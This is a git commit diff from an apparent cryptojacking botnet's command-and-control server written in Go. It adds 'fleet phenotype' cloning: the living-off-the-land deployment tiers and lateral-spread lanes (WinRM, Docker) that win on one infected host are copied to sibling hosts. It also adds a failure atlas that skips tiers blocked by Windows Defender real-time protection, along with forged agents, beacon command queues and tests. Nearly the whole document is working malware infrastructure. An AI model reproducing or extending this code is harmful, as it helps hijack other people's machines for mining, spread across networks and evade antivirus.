Add fleet phenotype cloning for sibling machines.

Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
AetherForge
2026-06-07 02:28:00 -07:00
parent bb48515b2b
commit 4204dd6b6d
25 changed files with 1421 additions and 38 deletions

View File

@@ -0,0 +1,35 @@
package api
import (
"net/http"
"strings"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
type PhenotypeHandler struct {
db *db.Database
}
func NewPhenotypeHandler(database *db.Database) *PhenotypeHandler {
return &PhenotypeHandler{db: database}
}
func (h *PhenotypeHandler) List(w http.ResponseWriter, r *http.Request) {
if h.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
fp := strings.TrimSpace(r.URL.Query().Get("fingerprint"))
stored, err := h.db.ListFleetPhenotypes(fp)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
phenotypes := make([]strategy.FleetPhenotype, 0, len(stored))
for _, row := range stored {
phenotypes = append(phenotypes, strategy.PhenotypeFromStored(row))
}
writeJSON(w, map[string]interface{}{"phenotypes": phenotypes})
}

View File

@@ -0,0 +1,157 @@
package api
import (
"encoding/json"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPublishPhenotypeOnHashrateSuccess(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
winnerID := "agent-winner-1"
if err := database.UpsertAgent(&models.Agent{
ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94),
IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now(),
}); err != nil {
t.Fatal(err)
}
hub.tryPublishWinningPhenotype(
winnerID, "windows", "127.0.0.1", nil,
[]struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: true},
{Tier: "wsl", OK: true},
},
850.0, "wsl", "winrm",
[]string{"container", "wsl", "cpu_inprocess"},
)
fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false)
pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key())
if err != nil {
t.Fatal(err)
}
if pheno.SourceAgentName != "worker-07" {
t.Fatalf("source name = %q", pheno.SourceAgentName)
}
if pheno.PeakHashrate != 850.0 {
t.Fatalf("peak hashrate = %v", pheno.PeakHashrate)
}
if pheno.SpreadLane != "winrm" {
t.Fatalf("spread_lane = %q", pheno.SpreadLane)
}
if len(pheno.TierOrder) < 3 {
t.Fatalf("tier_order = %v", pheno.TierOrder)
}
}
func TestSiblingFingerprintInheritsPhenotypeOrder(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
winnerID := "agent-winner-1"
siblingID := "agent-sibling-2"
for _, ag := range []*models.Agent{
{ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
{ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
} {
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
}
hub.tryPublishWinningPhenotype(
winnerID, "windows", "127.0.0.1", nil, nil,
1200.0, "cpu_inprocess", "docker",
[]string{"container", "wsl", "cpu_inprocess"},
)
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": siblingID, "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
})
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
raw, ok := payload["inherited_phenotype"]
if !ok {
t.Fatal("expected inherited_phenotype in auth_response")
}
data, _ := json.Marshal(raw)
var inherited struct {
SourceAgentName string `json:"source_agent_name"`
TierOrder []string `json:"tier_order"`
SpreadLane string `json:"spread_lane"`
}
if err := json.Unmarshal(data, &inherited); err != nil {
t.Fatal(err)
}
if inherited.SourceAgentName != "worker-07" {
t.Fatalf("source = %q", inherited.SourceAgentName)
}
if inherited.SpreadLane != "docker" {
t.Fatalf("spread_lane = %q", inherited.SpreadLane)
}
if len(inherited.TierOrder) == 0 {
t.Fatalf("empty tier_order: %+v", inherited)
}
}
func TestPhenotypeAPIListByFingerprint(t *testing.T) {
router, _, database, _ := newTestRouter(t)
fp := strategy.FingerprintFromAuth("windows", "10.0.0.5", false).Key()
if _, err := database.UpsertFleetPhenotype(db.StoredPhenotype{
Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07",
OS: "windows", SpreadLane: "winrm", ActiveTier: "wsl",
TierOrder: []string{"container", "wsl"}, PeakHashrate: 500,
}); err != nil {
t.Fatal(err)
}
rec := serveAuthed(t, router, "GET", "/api/v1/phenotypes?fingerprint="+fp, nil)
if rec.Code != 200 {
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
}
var body struct {
Phenotypes []struct {
SourceAgentName string `json:"source_agent_name"`
} `json:"phenotypes"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if len(body.Phenotypes) != 1 || body.Phenotypes[0].SourceAgentName != "worker-07" {
t.Fatalf("unexpected response: %+v", body)
}
}

View File

@@ -568,6 +568,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Fleet ops
strategyHandler := NewStrategyHandler(wsHub)
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
phenotypeHandler := NewPhenotypeHandler(database)
r.Get("/phenotypes", phenotypeHandler.List)
if fleetHandler != nil {
r.Get("/alerts", fleetHandler.GetAlerts)
@@ -589,6 +591,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ai/config", fleetAIHandler.GetConfig)
r.Put("/ai/config", fleetAIHandler.PutConfig)
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
}
moduleStore := NewModuleStore(dataDir, func() string {

View File

@@ -14,6 +14,7 @@ import (
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
@@ -155,13 +156,16 @@ type WSHub struct {
agentDNS map[string][]string
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
agentLiveTelemetry map[string]map[string]interface{}
serverPolicy ServerPolicy
agentLiveTelemetry map[string]map[string]interface{}
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
failureAtlas *atlas.FailureAtlas
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
clearance *ClearanceManager
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
@@ -199,15 +203,17 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
agentServiceDiscover: make(map[string]cachedServiceDiscover),
agentLiveTelemetry: make(map[string]map[string]interface{}),
agentLiveTelemetry: make(map[string]map[string]interface{}),
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
pingIntervalSec: 30,
}
h.clearance = NewClearanceManager(h)
// Background stale-agent sweep: if an agent's last_seen is more than
// Background stale-agent sweep:
// 3 minutes old but the row still says "online", force it offline.
// This catches TCP half-open drops that slip past the ping/pong timeout.
go h.runStaleAgentSweep()
@@ -275,6 +281,13 @@ func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
}
}
// SetFailureAtlas wires negative-space mining pattern learning.
func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) {
h.mu.Lock()
h.failureAtlas = a
h.mu.Unlock()
}
func (h *WSHub) runAdaptiveStrategyLoop() {
ticker := time.NewTicker(strategy.RescoreInterval)
defer ticker.Stop()
@@ -564,6 +577,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
if h.clearance != nil {
h.clearance.RemoveAgent(agentID)
}
if err := h.db.SetAgentOffline(agentID); err != nil {
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
}
@@ -879,15 +895,54 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled {
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
}
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
var inherited *strategy.InheritedPhenotype
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
pheno := strategy.PhenotypeFromStored(*stored)
inh := pheno.ToInherited()
inherited = &inh
h.mu.Lock()
h.agentInheritedPhenotype[agentID] = inh
h.mu.Unlock()
resp["inherited_phenotype"] = inh
agent.InheritedPhenotype = &models.AgentInheritedPhenotype{
SourceAgentName: inh.SourceAgentName,
Fingerprint: inh.Fingerprint,
SpreadLane: inh.SpreadLane,
TierOrder: append([]string(nil), inh.TierOrder...),
ActiveTier: inh.ActiveTier,
PeakHashrate: inh.PeakHashrate,
}
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
}
var defenderEnabled, defenderRTP *bool
if prior != nil {
defenderEnabled = prior.DefenderEnabled
defenderRTP = prior.DefenderRTP
}
if h.failureAtlas != nil && !policy.AIControlEnabled {
skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP)
if len(skips) > 0 {
resp["atlas_skips"] = skips
}
}
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil {
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
if h.failureAtlas != nil {
if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
}
}
resp["adaptive_strategy"] = adaptive
}
if h.clearance != nil {
level := h.clearance.InitAgent(agentID, agent)
resp["clearance_level"] = level
agent.ClearanceLevel = level
}
return resp
}())})
@@ -1014,6 +1069,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} `json:"lotl_attempts,omitempty"`
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
@@ -1167,6 +1223,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if len(stats.LOTLAttempts) > 0 {
broadcast["lotl_attempts"] = stats.LOTLAttempts
}
if len(stats.AtlasSkips) > 0 {
broadcast["atlas_skips"] = stats.AtlasSkips
}
if stats.StratumEgress != "" {
broadcast["stratum_egress"] = stats.StratumEgress
}
@@ -1209,8 +1268,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ac.latencyMu.Unlock()
}
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
h.queueStatsBroadcast(broadcast)
case "ai_snapshot":
if agentID == "" {
continue
}
var snap struct {
Stuck bool `json:"stuck"`
DeployTiers []struct {
Attempted bool `json:"attempted"`
OK bool `json:"ok"`
Skipped bool `json:"skipped"`
} `json:"deploy_tiers"`
MiningTiers []struct {
Attempted bool `json:"attempted"`
OK bool `json:"ok"`
Skipped bool `json:"skipped"`
} `json:"mining_tiers"`
ClearanceLevel int `json:"clearance_level"`
}
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
continue
}
failed := 0
for _, t := range append(snap.DeployTiers, snap.MiningTiers...) {
if t.Attempted && !t.OK && !t.Skipped {
failed++
}
}
h.cacheAgentTelemetry(agentID, map[string]interface{}{
"stuck": snap.Stuck,
"failed_tier_count": failed,
"clearance_level": snap.ClearanceLevel,
})
case "submit_share":
if agentID == "" {
continue
@@ -1701,6 +1795,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
delete(h.agentLiveTelemetry, agentID)
if h.clearance != nil {
h.clearance.RemoveAgent(agentID)
}
ac.Conn.Close()
}
h.mu.Unlock()
@@ -1766,6 +1863,20 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
}
}
adaptive := engine.StrategyForAgent(agentID, fp)
h.mu.RLock()
atlasEngine := h.failureAtlas
aiMode := h.serverPolicy.AIControlEnabled
h.mu.RUnlock()
if atlasEngine != nil && !aiMode {
var defenderEnabled, defenderRTP *bool
if ag, err := h.db.GetAgent(agentID); err == nil {
defenderEnabled = ag.DefenderEnabled
defenderRTP = ag.DefenderRTP
}
if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
}
}
payload, err := json.Marshal(adaptive)
if err != nil {
continue
@@ -1779,12 +1890,12 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
}
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
platform, _ := payload["platform"].(string)
ip, _ := payload["ip"].(string)
var defenderRTP, firewallDomain *bool
var defenderEnabled, defenderRTP, firewallDomain *bool
if v, ok := payload["defender_enabled"].(bool); ok {
defenderEnabled = &v
}
if v, ok := payload["defender_rtp"].(bool); ok {
defenderRTP = &v
}
@@ -1794,7 +1905,64 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
attempts := parseLOTLAttemptsFromPayload(payload)
hashrate, _ := payload["mining_hashrate"].(float64)
activeTier, _ := payload["lotl_tier"].(string)
joinLane, _ := payload["join_lane"].(string)
chainOrder := parseStringSliceField(payload["chain_order"])
h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts)
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder)
}
func (h *WSHub) ingestAtlasFromStats(
agentID, platform, ip string,
defenderEnabled, defenderRTP, firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
) {
if h.failureAtlas == nil || h.db == nil {
return
}
if platform == "" || ip == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
if defenderEnabled == nil {
defenderEnabled = ag.DefenderEnabled
}
if defenderRTP == nil {
defenderRTP = ag.DefenderRTP
}
}
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
if defenderRTP != nil && *defenderRTP {
fp.AVBlocks = true
}
snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP)
conds := atlas.ExtractConditions(fp, snap)
for _, a := range attempts {
if a.OK || strings.TrimSpace(a.Tier) == "" {
continue
}
if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil {
log.Printf("[atlas] record failure: %v", err)
}
}
}
func (h *WSHub) ingestStrategyFromStats(
@@ -1844,6 +2012,80 @@ func (h *WSHub) ingestStrategyFromStats(
}
}
func (h *WSHub) tryPublishWinningPhenotype(
agentID, platform, ip string,
firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
miningHashrate float64,
activeTier, joinLane string,
chainOrder []string,
) {
if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" {
return
}
ag, err := h.db.GetAgent(agentID)
if err != nil {
return
}
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
stratAttempts := make([]strategy.TierAttempt, len(attempts))
for i, a := range attempts {
stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK}
}
fallback := append([]string(nil), chainOrder...)
if len(fallback) == 0 {
fallback = append(fallback, strategy.DefaultMiningTierOrder...)
}
tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback)
if len(tierOrder) == 0 {
return
}
pheno := strategy.FleetPhenotype{
SourceAgentID: agentID,
SourceAgentName: ag.Name,
Fingerprint: fp.Key(),
OS: fp.GOOS,
SpreadLane: strings.TrimSpace(joinLane),
ActiveTier: strings.TrimSpace(activeTier),
TierOrder: tierOrder,
PeakHashrate: miningHashrate,
CreatedAt: time.Now().UTC(),
}
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
log.Printf("[phenotype] publish: %v", err)
}
}
func parseStringSliceField(raw interface{}) []string {
arr, ok := raw.([]interface{})
if !ok {
return nil
}
out := make([]string, 0, len(arr))
for _, v := range arr {
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, s)
}
}
return out
}
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`

View File

@@ -58,11 +58,18 @@ func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interf
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
t.Fatal(err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
deadline := time.Now().Add(3 * time.Second)
for time.Now().Before(deadline) {
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
}
if resp.Type == "auth_response" {
return resp
}
}
return resp
t.Fatal("timed out waiting for auth_response")
return Message{}
}
func TestWSHubPingIntervalConstants(t *testing.T) {